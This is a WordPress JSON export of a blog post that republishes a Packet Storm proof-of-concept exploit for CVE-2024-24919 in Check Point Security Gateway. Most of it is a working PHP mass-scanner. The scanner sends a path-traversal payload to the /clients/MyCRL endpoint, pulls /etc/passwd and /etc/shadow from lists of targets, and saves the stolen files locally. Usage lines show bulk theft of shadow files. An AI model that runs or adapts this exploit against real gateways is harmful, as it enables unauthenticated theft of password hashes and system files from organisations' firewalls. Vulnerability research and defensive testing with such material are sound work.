{"id":27864,"date":"2025-11-27T12:50:04","date_gmt":"2025-11-27T12:50:04","guid":{"rendered":"http:\/\/localhost\/?p=27864"},"modified":"2025-11-27T12:50:04","modified_gmt":"2025-11-27T12:50:04","slug":"check-point-security-gateway-r8030-arbitrary-file-read","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=27864","title":{"rendered":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151"},"content":{"rendered":"

{“lastseen”:”2025-11-27T17:52:39″,”description”:”Proof of concept exploit for an unauthenticated arbitrary file read vulnerability in Check Point Security Gateway version R80.30…”,”published”:”2025-11-27T00:00:00″,”modified”:”2025-11-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read”,”source”:””,”references”:””,”id”:”PACKETSTORM:212151″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-24919″],”sourceData”:”=============================================================================================================================================\\n | # Title : Check Point Security Gateway R80.30 Unauthenticated Arbitrary File Read |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.checkpoint.com\/ |\\n =============================================================================================================================================\\n \\n POC : \\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/181660\/ \\u0026 \\tCVE-2024-24919\\n \\n \\n [+] Summary :\\n \\n A critical unauthenticated arbitrary file read vulnerability exists in Check Point Security Gateway appliances \\n that allows attackers to read any file from the underlying Linux filesystem through path traversal in the web management interface. \\n The vulnerability enables complete system file disclosure without authentication.\\n \\n [+] Technical Description\\n \\n The vulnerability exists in the Check Point Security Gateway web management interface, specifically in the `\/clients\/MyCRL` endpoint. The application fails to properly validate and sanitize user input,\\n allowing attackers to perform directory traversal and access arbitrary files outside the intended web directory.\\n \\n Vulnerable Code Pattern:\\n \\n java\\n \\n \/\/ Conceptual vulnerable code in file serving component\\n @POST\\n @Path(\\”\/clients\/MyCRL\\”)\\n public Response serveCRLFile(String filePath) {\\n \/\/ Insufficient input validation\\n String resolvedPath = resolveClientPath(filePath);\\n \\n \/\/ No proper path traversal detection\\n File requestedFile = new File(baseDirectory, resolvedPath);\\n \\n if (requestedFile.exists()) {\\n return Response.ok(Files.readAllBytes(requestedFile.toPath())).build();\\n }\\n return Response.status(404).build();\\n }\\n \\n [+] Usage: \\n \\n # Target List Check\\n \\n php exploit.php -l targets.txt\\n \\n # Single Target Check\\n \\n php exploit.php -u https:\/\/checkpoint.example.com\\n \\n # Custom File Check\\n \\n php exploit.php -u https:\/\/checkpoint.example.com -f etc\/hosts\\n \\n # Bulk Custom File Check\\n \\n php exploit.php -l targets.txt -f etc\/shadow\\n \\n [+] POC :\\n \\n \\u003c?php\\n \/**\\n * CVE-2024-24919 Exploit – Check Point Security Gateway Arbitrary File Read\\n * By: indoushka\\n * Converted from Python to PHP\\n *\/\\n \\n class CheckPointExploit {\\n private $colors;\\n private $vulnerableIndicators;\\n \\n public function __construct() {\\n $this-\\u003ecolors = [\\n ‘GREEN’ =\\u003e \\”\\\\033[1;32m\\”,\\n ‘MAGENTA’ =\\u003e \\”\\\\033[1;35m\\”,\\n ‘CYAN’ =\\u003e \\”\\\\033[1;36m\\”,\\n ‘RED’ =\\u003e \\”\\\\033[1;31m\\”,\\n ‘BLUE’ =\\u003e \\”\\\\033[1;34m\\”,\\n ‘YELLOW’ =\\u003e \\”\\\\033[1;33m\\”,\\n ‘WHITE’ =\\u003e \\”\\\\033[1;37m\\”,\\n ‘RESET’ =\\u003e \\”\\\\033[0m\\”,\\n ‘BOLD’ =\\u003e \\”\\\\033[1m\\”\\n ];\\n \\n $this-\\u003ecolorArray = [\\n $this-\\u003ecolors[‘GREEN’],\\n $this-\\u003ecolors[‘CYAN’], \\n $this-\\u003ecolors[‘BLUE’]\\n ];\\n \\n $this-\\u003evulnerableIndicators = [‘root:’, ‘nobody:’, ‘daemon:’];\\n }\\n \\n private function color($text, $color) {\\n return $this-\\u003ecolors[$color] . $text . $this-\\u003ecolors[‘RESET’];\\n }\\n \\n private function randomColor() {\\n return $this-\\u003ecolorArray[array_rand($this-\\u003ecolorArray)];\\n }\\n \\n private function showBanner() {\\n $randomColor = $this-\\u003erandomColor();\\n \\n $banner = $randomColor . \\”\\n \\n \\n \\” . $this-\\u003ecolors[‘RESET’] . \\n $this-\\u003ecolors[‘MAGENTA’] . \\”\\n \\n \\” . $this-\\u003ecolors[‘RESET’] .\\n $this-\\u003ecolors[‘RED’] . \\”\\\\n CVE-2024-24919 – Check Point Security Gateway File Read\\\\n\\” . $this-\\u003ecolors[‘RESET’] .\\n $this-\\u003ecolors[‘WHITE’] . \\” @indoushka\\\\n\\\\n\\” . $this-\\u003ecolors[‘RESET’];\\n \\n echo $banner;\\n }\\n \\n private function makeRequest($url, $payload = null, $headers = []) {\\n $contextOptions = [\\n ‘http’ =\\u003e [\\n ‘method’ =\\u003e ‘POST’,\\n ‘header’ =\\u003e implode(\\”\\\\r\\\\n\\”, $headers),\\n ‘content’ =\\u003e $payload,\\n ‘timeout’ =\\u003e 10,\\n ‘ignore_errors’ =\\u003e true,\\n ‘follow_location’ =\\u003e false\\n ],\\n ‘ssl’ =\\u003e [\\n ‘verify_peer’ =\\u003e false,\\n ‘verify_peer_name’ =\\u003e false\\n ]\\n ];\\n \\n $context = stream_context_create($contextOptions);\\n $response = @file_get_contents($url, false, $context);\\n \\n if ($response === false) {\\n return [‘success’ =\\u003e false, ‘error’ =\\u003e ‘Request failed’];\\n }\\n \\n \/\/ Get HTTP status code\\n $statusCode = 0;\\n if (isset($http_response_header[0])) {\\n preg_match(‘\/HTTP\\\\\/\\\\d\\\\.\\\\d\\\\s+(\\\\d+)\/’, $http_response_header[0], $matches);\\n $statusCode = isset($matches[1]) ? (int)$matches[1] : 0;\\n }\\n \\n return [\\n ‘success’ =\\u003e true,\\n ‘status_code’ =\\u003e $statusCode,\\n ‘content’ =\\u003e $response\\n ];\\n }\\n \\n private function isVulnerable($content) {\\n foreach ($this-\\u003evulnerableIndicators as $indicator) {\\n if (strpos($content, $indicator) !== false) {\\n return true;\\n }\\n }\\n return false;\\n }\\n \\n private function displayResult($url, $response, $payload) {\\n if (!$response[‘success’]) {\\n echo $this-\\u003ecolor(\\”[-] Error: \\” . $response[‘error’], ‘RED’) . \\”\\\\n\\”;\\n return;\\n }\\n \\n if ($response[‘status_code’] === 200 \\u0026\\u0026 $this-\\u003eisVulnerable($response[‘content’])) {\\n echo $this-\\u003ecolor(\\”[+] \\” . $url . \\” is VULNERABLE\\”, ‘GREEN’) . \\”\\\\n\\”;\\n \\n if ($payload) {\\n if (strpos($payload, ‘etc\/shadow’) !== false) {\\n echo $this-\\u003ecolor(\\”\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\”, ‘CYAN’) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(\\”\u2551 \/etc\/shadow found \u2551\\”, ‘CYAN’) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(\\”\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\”, ‘CYAN’) . \\”\\\\n\\”;\\n \\n if (file_put_contents(\\”shadow.txt\\”, $response[‘content’]) !== false) {\\n echo $this-\\u003ecolor(\\”[+] Shadow file saved as: shadow.txt\\”, ‘GREEN’) . \\”\\\\n\\”;\\n }\\n } elseif (strpos($payload, ‘etc\/passwd’) !== false) {\\n echo $this-\\u003ecolor(\\”\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\”, ‘CYAN’) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(\\”\u2551 \/etc\/passwd found \u2551\\”, ‘CYAN’) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(\\”\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\”, ‘CYAN’) . \\”\\\\n\\”;\\n \\n if (file_put_contents(\\”passwd.txt\\”, $response[‘content’]) !== false) {\\n echo $this-\\u003ecolor(\\”[+] Passwd file saved as: passwd.txt\\”, ‘GREEN’) . \\”\\\\n\\”;\\n }\\n }\\n \\n echo $this-\\u003ecolor(\\”\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\”, ‘CYAN’) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(\\”File content:\\”, ‘WHITE’) . \\”\\\\n\\”;\\n echo $response[‘content’] . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(\\”\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\”, ‘CYAN’) . \\”\\\\n\\”;\\n }\\n } else {\\n echo $this-\\u003ecolor(\\”[-] \\” . $url . \\” is not vulnerable (Status: \\” . $response[‘status_code’] . \\”)\\”, ‘RED’) . \\”\\\\n\\”;\\n }\\n }\\n \\n public function scanTargets($targetsFile, $customFile = null) {\\n $this-\\u003eshowBanner();\\n \\n if (!file_exists($targetsFile)) {\\n echo $this-\\u003ecolor(\\”[-] File not found: \\” . $targetsFile, ‘RED’) . \\”\\\\n\\”;\\n return;\\n }\\n \\n $urls = file($targetsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\\n $urls = array_map(‘trim’, $urls);\\n \\n echo $this-\\u003ecolor(\\”[*] Scanning \\” . count($urls) . \\” targets…\\\\n\\”, ‘BLUE’);\\n \\n $headers = [\\n \\”User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0\\”,\\n \\”Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\\”,\\n \\”Accept-Language: en-US,en;q=0.5\\”,\\n \\”Accept-Encoding: gzip, deflate, br\\”,\\n \\”Upgrade-Insecure-Requests: 1\\”,\\n \\”Sec-Fetch-Dest: document\\”,\\n \\”Sec-Fetch-Mode: navigate\\”,\\n \\”Sec-Fetch-Site: none\\”,\\n \\”Sec-Fetch-User: ?1\\”,\\n \\”Dnt: 1\\”,\\n \\”Sec-Gpc: 1\\”,\\n \\”Te: trailers\\”,\\n \\”Connection: close\\”\\n ];\\n \\n $payloadBase = \\”aCSHELL\/..\/..\/..\/..\/..\/..\/..\/\\”;\\n \\n $payloads = [\\n $payloadBase . \\”etc\/passwd\\”,\\n $payloadBase . \\”etc\/shadow\\”\\n ];\\n \\n if ($customFile) {\\n $payloads = [$payloadBase . $customFile];\\n }\\n \\n $vulnerableCount = 0;\\n \\n foreach ($urls as $index =\\u003e $url) {\\n echo $this-\\u003ecolor(\\”\\\\n[\\” . ($index + 1) . \\”\/\\” . count($urls) . \\”] Testing: \\”, ‘BLUE’) . $url . \\”\\\\n\\”;\\n \\n if (!preg_match(‘\/^https?:\\\\\/\\\\\/\/’, $url)) {\\n echo $this-\\u003ecolor(\\”[-] Invalid URL format, skipping\\”, ‘YELLOW’) . \\”\\\\n\\”;\\n continue;\\n }\\n \\n $targetUrl = rtrim($url, ‘\/’) . ‘\/clients\/MyCRL’;\\n \\n foreach ($payloads as $payload) {\\n echo $this-\\u003ecolor(\\”[*] Testing payload: \\”, ‘YELLOW’) . $payload . \\”\\\\n\\”;\\n \\n $response = $this-\\u003emakeRequest($targetUrl, $payload, $headers);\\n \\n if ($response[‘success’] \\u0026\\u0026 $response[‘status_code’] === 200 \\u0026\\u0026 $this-\\u003eisVulnerable($response[‘content’])) {\\n $this-\\u003edisplayResult($targetUrl, $response, $payload);\\n $vulnerableCount++;\\n break; \/\/ Stop testing this target if vulnerable\\n }\\n }\\n }\\n \\n \/\/ Summary\\n echo $this-\\u003ecolor(\\”\\\\n\\” . str_repeat(\\”=\\”, 60), ‘CYAN’) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(\\”[*] SCAN SUMMARY\\”, ‘BOLD’) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(str_repeat(\\”=\\”, 60), ‘CYAN’) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(\\”[+] Total targets scanned: \\”, ‘BLUE’) . count($urls) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(\\”[+] Vulnerable targets found: \\”, \\n $vulnerableCount \\u003e 0 ? ‘GREEN’ : ‘RED’) . $vulnerableCount . \\”\\\\n\\”;\\n }\\n \\n public function testSingleTarget($url, $customFile = null) {\\n $this-\\u003eshowBanner();\\n \\n echo $this-\\u003ecolor(\\”[*] Testing single target: \\”, ‘BLUE’) . $url . \\”\\\\n\\\\n\\”;\\n \\n $headers = [\\n \\”User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0\\”,\\n \\”Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\\”,\\n \\”Accept-Language: en-US,en;q=0.5\\”,\\n \\”Content-Type: application\/x-www-form-urlencoded\\”,\\n \\”Connection: close\\”\\n ];\\n \\n $payloadBase = \\”aCSHELL\/..\/..\/..\/..\/..\/..\/..\/\\”;\\n \\n $testFiles = [\\n \\”etc\/passwd\\” =\\u003e \\”System password file\\”,\\n \\”etc\/shadow\\” =\\u003e \\”System shadow file\\”, \\n \\”etc\/hosts\\” =\\u003e \\”System hosts file\\”,\\n \\”etc\/group\\” =\\u003e \\”System groups file\\”\\n ];\\n \\n if ($customFile) {\\n $testFiles = [$customFile =\\u003e \\”Custom file: \\” . $customFile];\\n }\\n \\n $vulnerable = false;\\n \\n foreach ($testFiles as $file =\\u003e $description) {\\n echo $this-\\u003ecolor(\\”[*] Testing: \\”, ‘YELLOW’) . $description . \\”\\\\n\\”;\\n \\n $payload = $payloadBase . $file;\\n $targetUrl = rtrim($url, ‘\/’) . ‘\/clients\/MyCRL’;\\n \\n $response = $this-\\u003emakeRequest($targetUrl, $payload, $headers);\\n \\n if ($response[‘success’] \\u0026\\u0026 $response[‘status_code’] === 200) {\\n if ($this-\\u003eisVulnerable($response[‘content’]) || !empty(trim($response[‘content’]))) {\\n echo $this-\\u003ecolor(\\”[+] FILE ACCESSIBLE: \\” . $description, ‘GREEN’) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(\\”[+] Content preview:\\\\n\\”, ‘GREEN’);\\n echo $this-\\u003ecolor(str_repeat(\\”=\\”, 60), ‘CYAN’) . \\”\\\\n\\”;\\n echo substr($response[‘content’], 0, 500) . \\”\\\\n\\”;\\n echo $this-\\u003ecolor(str_repeat(\\”=\\”, 60), ‘CYAN’) . \\”\\\\n\\”;\\n \\n \/\/ Save file\\n $filename = str_replace(‘\/’, ‘_’, $file) . \\”.txt\\”;\\n file_put_contents($filename, $response[‘content’]);\\n echo $this-\\u003ecolor(\\”[+] Saved to: \\” . $filename, ‘CYAN’) . \\”\\\\n\\”;\\n \\n $vulnerable = true;\\n } else {\\n echo $this-\\u003ecolor(\\”[-] File not accessible or empty\\”, ‘RED’) . \\”\\\\n\\”;\\n }\\n } else {\\n echo $this-\\u003ecolor(\\”[-] Request failed (Status: \\” . $response[‘status_code’] . \\”)\\”, ‘RED’) . \\”\\\\n\\”;\\n }\\n echo \\”\\\\n\\”;\\n }\\n \\n if ($vulnerable) {\\n echo $this-\\u003ecolor(\\”[+] TARGET IS VULNERABLE to CVE-2024-24919!\\”, ‘GREEN’) . \\”\\\\n\\”;\\n } else {\\n echo $this-\\u003ecolor(\\”[-] Target does not appear to be vulnerable\\”, ‘RED’) . \\”\\\\n\\”;\\n }\\n }\\n }\\n \\n \/\/ Main execution\\n if (php_sapi_name() === ‘cli’) {\\n $shortOptions = \\”l:f:u:h\\”;\\n $longOptions = [\\”list:\\”, \\”file:\\”, \\”url:\\”, \\”help\\”];\\n \\n $options = getopt($shortOptions, $longOptions);\\n \\n if (isset($options[‘h’]) || isset($options[‘help’]) || empty($options)) {\\n echo \\”CVE-2024-24919 – Check Point Security Gateway Arbitrary File Read\\\\n\\”;\\n echo \\”Usage:\\\\n\\”;\\n echo \\” php exploit.php -l \\u003ctargets_list.txt\\u003e [-f \\u003ccustom_file\\u003e]\\\\n\\”;\\n echo \\” php exploit.php -u \\u003ctarget_url\\u003e [-f \\u003ccustom_file\\u003e]\\\\n\\”;\\n echo \\”\\\\nExamples:\\\\n\\”;\\n echo \\” php exploit.php -l targets.txt\\\\n\\”;\\n echo \\” php exploit.php -u https:\/\/checkpoint.example.com\\\\n\\”;\\n echo \\” php exploit.php -u https:\/\/checkpoint.example.com -f etc\/hosts\\\\n\\”;\\n echo \\” php exploit.php -l targets.txt -f etc\/shadow\\\\n\\”;\\n echo \\”\\\\nDescription:\\\\n\\”;\\n echo \\” Exploits arbitrary file read vulnerability in Check Point Security Gateway\\\\n\\”;\\n echo \\” via path traversal in \/clients\/MyCRL endpoint (CVE-2024-24919)\\\\n\\”;\\n exit(0);\\n }\\n \\n $exploit = new CheckPointExploit();\\n \\n if (isset($options[‘l’]) || isset($options[‘list’])) {\\n $listFile = $options[‘l’] ?? $options[‘list’];\\n $customFile = $options[‘f’] ?? $options[‘file’] ?? null;\\n $exploit-\\u003escanTargets($listFile, $customFile);\\n } \\n elseif (isset($options[‘u’]) || isset($options[‘url’])) {\\n $url = $options[‘u’] ?? $options[‘url’];\\n $customFile = $options[‘f’] ?? $options[‘file’] ?? null;\\n $exploit-\\u003etestSingleTarget($url, $customFile);\\n }\\n } else {\\n echo \\”This script is intended for command line use only.\\\\n\\”;\\n }\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212151″,”cvss”:{“score”:8.6,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212151\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"

{“lastseen”:”2025-11-27T17:52:39″,”description”:”Proof of concept exploit for an unauthenticated arbitrary file read vulnerability in Check Point Security Gateway version R80.30…”,”published”:”2025-11-27T00:00:00″,”modified”:”2025-11-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,81,12,15,13,53,7,11,5],"class_list":["post-27864","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=27864\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{“lastseen”:”2025-11-27T17:52:39″,”description”:”Proof of concept exploit for an unauthenticated arbitrary file read vulnerability in Check Point Security Gateway version R80.30…”,”published”:”2025-11-27T00:00:00″,”modified”:”2025-11-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=27864\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-27T12:50:04+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151\",\"datePublished\":\"2025-11-27T12:50:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864\"},\"wordCount\":1989,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.6\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27864#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864\",\"name\":\"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-27T12:50:04+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27864\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27864#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=27864","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File Read_PACKETSTORM:212151 - zero redgem","og_description":"{“lastseen”:”2025-11-27T17:52:39″,”description”:”Proof of concept exploit for an unauthenticated arbitrary file read vulnerability in Check Point Security Gateway version R80.30…”,”published”:”2025-11-27T00:00:00″,”modified”:”2025-11-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File...","og_url":"https:\/\/zero.redgem.net\/?p=27864","og_site_name":"zero redgem","article_published_time":"2025-11-27T12:50:04+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=27864#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=27864"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Check Point Security Gateway R80.30 Arbitrary File 